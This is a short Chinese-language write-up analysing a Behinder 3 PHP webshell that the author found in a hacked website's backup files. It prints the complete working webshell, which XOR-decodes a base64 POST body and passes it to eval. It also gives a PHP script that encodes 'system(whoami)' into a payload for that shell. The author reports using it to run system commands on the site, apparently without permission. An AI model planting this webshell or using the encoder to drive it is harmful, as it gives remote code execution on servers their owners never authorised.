冰蝎 3 webshell 分析
前言
意外发现一个网站存在备份文件,分析后发现该站被其它黑客打过了,并且这个备份文件大概率也是该黑客打包的。于是我严重怀疑该网站存在后门,用火绒扫了一下备份文件夹,果然存在 webshell。
然后就有了这篇文章。
奇怪的马子
下面是发现的 webshell
<?php
@error_reporting(0);
session_start();
$key="6fb7d103098e92bf";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(isset($post))
{
$datas=explode("\n",$post);
$code=$datas[0];
$t="base64_"."decode";
$code=$t($code."");
for($i=0;$i<strlen($code);$i++) {
$code[$i] = $code[$i]^$key[$i+1&15];
}
$arr=explode('|',$code);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
这个马子一看就是冰蝎 3 的马,key 已经解开了,但是始终连不上
仔细一看,这个马跟原版的冰蝎马还是有点出入
反向操作
该马的逻辑如下
因此,我们只需要反向将要执行的命令加密回去,就可以无视 key 是否解的开了
<?php
$key="6fb7d103098e92bf";
$encrypted_code = "|system(whoami);";
$decrypted_code = "";
for ($i = 0; $i < strlen($encrypted_code); $i++) {
$decrypted_code .= $encrypted_code[$i] ^ $key[$i + 1 & 15];
}
echo base64_encode($decrypted_code);
?>
最后成功执行系统命令